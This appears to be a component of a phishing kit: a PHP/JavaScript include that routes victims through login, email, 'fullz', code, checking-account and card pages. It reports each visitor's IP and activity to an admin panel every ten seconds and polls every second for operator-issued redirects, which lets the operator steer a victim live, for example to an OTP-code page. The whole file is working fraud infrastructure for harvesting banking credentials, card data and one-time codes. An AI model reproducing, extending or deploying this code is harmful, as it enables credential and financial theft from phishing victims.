<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/admin/pages.php');

$currentPage = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$currentPage = filter_var($currentPage, FILTER_SANITIZE_URL);

if ($currentPage === $login_page) {
    $page = 'login';
} else if ($currentPage === $email_page) {
    $page = 'email';
} else if ($currentPage === $fullz_page) {
    $page = 'fullz';
} else if ($currentPage === $code_page) {
    $page = 'code';
} else if ($currentPage === $checking_page) {
    $page = 'checking';
} else if ($currentPage === $card_page) {
    $page = 'card';
} else {
    $page = 'login';
}

$ip = getIpAddress();
?>

<script>
document.addEventListener('DOMContentLoaded', function() {    
    function updateStatus() {
        const formData = new FormData();
        formData.append('ip', '<?php echo $ip; ?>');
        formData.append('last_seen', Math.floor(Date.now() / 1000));

        fetch('/admin/status.php', {
            method: 'POST',
            body: formData
        });
    }

    updateStatus();
    setInterval(updateStatus, 10000);

    function checkRedirect() {
        fetch('/admin/check_redirect.php?current_page=<?php echo $page; ?>')
            .then(response => response.json())
            .then(data => {
                if (data.redirect) {
                    let part = window.location.href.split('/').slice(3).join('/');
                    var currentPage = window.location.pathname;
                    var codePage = <?php echo json_encode($code_page); ?>;
                    var checkingPage = <?php echo json_encode($checking_page); ?>;
                    if (currentPage !== codePage) {
                        document.cookie = 'redirect_page=' + encodeURIComponent(part) + '; path=/; max-age=3600';
                    }
                    window.location.href = data.redirect;
                }
            });
    }
    setInterval(checkRedirect, 1000);
});


function getBrowserName() {
    const ua = navigator.userAgent;
    if (/chrome|crios|crmo/i.test(ua) && !/edge|edg|opr|opera/i.test(ua)) return "Chrome";
    if (/firefox|fxios/i.test(ua)) return "Firefox";
    if (/safari/i.test(ua) && !/chrome|crios|crmo|android/i.test(ua)) return "Safari";
    if (/edg|edge/i.test(ua)) return "Edge";
    if (/opr|opera/i.test(ua)) return "Opera";
    if (/msie|trident/i.test(ua)) return "Internet Explorer";
    return "Other";
}

const deviceType = /Mobi|Android/i.test(navigator.userAgent) ? 'Mobile' : 'Desktop';
const browser = getBrowserName();
document.cookie = 'ua_info=' + encodeURIComponent(JSON.stringify({ device: { type: deviceType }, browser: { name: browser } })) + '; path=/';

</script>